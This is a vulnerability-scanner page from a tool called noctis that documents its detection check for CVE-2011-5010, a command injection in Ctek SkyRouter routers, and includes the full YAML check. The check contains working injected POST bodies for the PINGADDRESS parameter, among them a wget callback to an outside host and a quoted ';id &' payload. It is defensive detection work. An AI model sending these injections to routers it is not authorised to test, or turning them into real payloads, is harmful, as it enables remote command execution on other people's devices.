Ctek SkyRouter — 1 vulnerability check

noctis ships 1 vulnerability check for Ctek SkyRouter, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Ctek SkyRouter cfg_ethping.cgi PINGADDRESS Command Injection

CVECVE-2011-5010
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/ctek-skyrouter/CVE-2011-5010.yaml

Detects the unauthenticated OS command injection in the Ctek SkyRouter 4200 / 4300 web interface: /apps/a3/cfg_ethping.cgi passes the PINGADDRESS parameter of the ping action (CMD=u) to a shell unsanitised. When the CGI page identifies the router, the test POSTs the ping form with PINGADDRESS=`;echo NOCTIS<a + b> &` (the sum computed by expr and by shell arithmetic) built from per-run random operands and requires the shell-computed sum in the response. When out-of-band detection is configured, a second request makes the router fetch the per-run callback URL with wget, which covers units that run the command without returning its output. Nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /apps/a3/cfg_ethping.cgi
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /apps/a3/cfg_ethping.cgi with a crafted body
  5. Checks inj.body for NOCTIS[0-9]{7} → finding QoD 97: Ctek SkyRouter command injection confirmed via POST /apps/a3/cfg_ethping.cgi (CMD=u, PINGADDRESS=;echo NOCTIS`expr … + …`;echo NOCTIS$((…+……
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST /apps/a3/cfg_ethping.cgi with a crafted body
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Ctek SkyRouter blind command injection confirmed via POST /apps/a3/cfg_ethping.cgi (CMD=u, PINGADDRESS): a shell removed the ''-split in th…

References:

Feed source — tests/vulnerabilities/ctek-skyrouter/CVE-2011-5010.yaml
# Ctek SkyRouter 4200 / 4300 — unauthenticated OS command injection through
# the PINGADDRESS parameter of /apps/a3/cfg_ethping.cgi (CMD=u), CVE-2011-5010.
#
# Ported from OpenVAS/Greenbone NVT `2012/gb_ctek_skyrouter_50867.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103479, GPL-2.0-only). The NASL GETs the CGI,
# requires "Ctek" or "SkyRouter" in the page, then POSTs
#   MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;id+%26
# and greps the reply for `uid=…gid=…`. The Metasploit module
# (exploit-db 18172, "ctek_skyrouter") sends the same body with its payload
# between `;` and `+%26`.
#
# Detection — benign in-band proof (QoD 97): the injected commands are
# `echo NOCTIS`expr <a> + <b>`` and `echo NOCTIS$((<a>+<b>))`, a/b random
# integers in 500000..999999. Only a real shell computes the sum: the backtick
# form needs the expr applet (works in old Bourne sh / BusyBox msh), the
# $((…)) form is shell arithmetic (ash/dash/bash, no applet needed), so a
# BusyBox build without expr is still covered. The 7-digit sum never appears
# in the request, so a page that reflects or strips PINGADDRESS cannot show
# it. Nothing is written.
#
# Deviations from the NASL (intentional, better coverage):
#   - Benign arithmetic marker instead of `id` output.
#   - Blind fallback (oob_enabled only): when the CGI executes the command but
#     does not return its output (the Metasploit module never reads the reply),
#     `wget -q -O /dev/null http://<oob>/<a>''<b>` fetches the per-run OOB URL.
#     The token is split by an empty '' pair (quote removal works in every
#     Bourne-family shell, msh included), so only a shell rebuilds the path.
#     The NASL (output grep only) misses such units.
#   - Gate: besides "Ctek" / "SkyRouter", the form's own PINGADDRESS field
#     identifies the page, so a re-branded web UI is still tested. The gate
#     only limits where the POST is sent; the proof is the sum / callback.
#   - CVSS: NVD carries only a CVSS v2 score for this CVE (10.0,
#     AV:N/AC:L/Au:N/C:C/I:C/A:C).
uid: d1fa696a-ad82-4e26-9d45-cdde1961d748
name: "Ctek SkyRouter cfg_ethping.cgi PINGADDRESS Command Injection (CVE-2011-5010)"
description: |
  Detects the unauthenticated OS command injection in the Ctek SkyRouter
  4200 / 4300 web interface: /apps/a3/cfg_ethping.cgi passes the PINGADDRESS
  parameter of the ping action (CMD=u) to a shell unsanitised. When the CGI
  page identifies the router, the test POSTs the ping form with
  PINGADDRESS=`;echo NOCTIS<a + b> &` (the sum computed by expr and by shell
  arithmetic) built from per-run random operands
  and requires the shell-computed sum in the response. When out-of-band
  detection is configured, a second request makes the router fetch the
  per-run callback URL with wget, which covers units that run the command
  without returning its output. Nothing is written on the target.
cves: [CVE-2011-5010]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [ctek, skyrouter, router, cgi, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-5010"
  - "http://www.exploit-db.com/exploits/18172"
  - "http://www.securityfocus.com/bid/50867"
  - "http://dev.metasploit.com/redmine/issues/5610"

steps:
  # Per-run operands; marker = NOCTIS<a+b> (always 7 digits).
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: a, b: b, marker: "NOCTIS" + (a + b) }
    store_as: proof

  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: null}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: null}

  # NASL gate: the ping page of the router web UI.
  - id: ping-page
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/apps/a3/cfg_ethping.cgi"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = page.body;
      let ok = page.status == 200 && type_of(b) == "string"
        && (stridx(b, "Ctek") >= 0 || stridx(b, "SkyRouter") >= 0 || stridx(b, "PINGADDRESS") >= 0);
      #{ ok: ok }
    store_as: gate

  # NASL request shape, `id` swapped for the marker:
  #   + = space   %60 = `   %2B = +   %26 = &   %24%28%28 = $((   %29%29 = ))
  - id: inject
    action: http_request
    method: POST
    port: "{{port}}"
    path: "/apps/a3/cfg_ethping.cgi"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    condition: "gate.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;echo+NOCTIS%60expr+{{proof.a}}+%2B+{{proof.b}}%60;echo+NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29+%26"
    store_as: inj

  - id: confirm
    action: match
    source: inj.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "gate.ok && type_of(inj.body) == \"string\" && stridx(inj.body, proof.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Ctek SkyRouter command injection confirmed via POST /apps/a3/cfg_ethping.cgi (CMD=u, PINGADDRESS=;echo NOCTIS`expr {{proof.a}} + {{proof.b}}`;echo NOCTIS$(({{proof.a}}+{{proof.b}})) &): a shell evaluated the per-run arithmetic and the CGI returned {{proof.marker}}"
      stop: true

  # Blind fallback (reached only when the in-band proof did not fire): the
  # router fetches the per-run OOB URL; output goes to /dev/null and the
  # trailing & backgrounds wget so the CGI never waits on it. %27%27 = ''
  - id: split-oob-token
    action: script
    condition: "oob_enabled && gate.ok"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  - id: inject-oob
    action: http_request
    method: POST
    port: "{{port}}"
    path: "/apps/a3/cfg_ethping.cgi"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    condition: "oob_enabled && gate.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;wget+-q+-O+/dev/null+http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%27%27{{oobsplit.b}}+%26"
    store_as: inj_oob

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && gate.ok"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Ctek SkyRouter blind command injection confirmed via POST /apps/a3/cfg_ethping.cgi (CMD=u, PINGADDRESS): a shell removed the ''-split in the OOB token and the injected wget fetched the per-run OOB URL (HTTP callback received)"
      stop: true

View these feeds on GitHub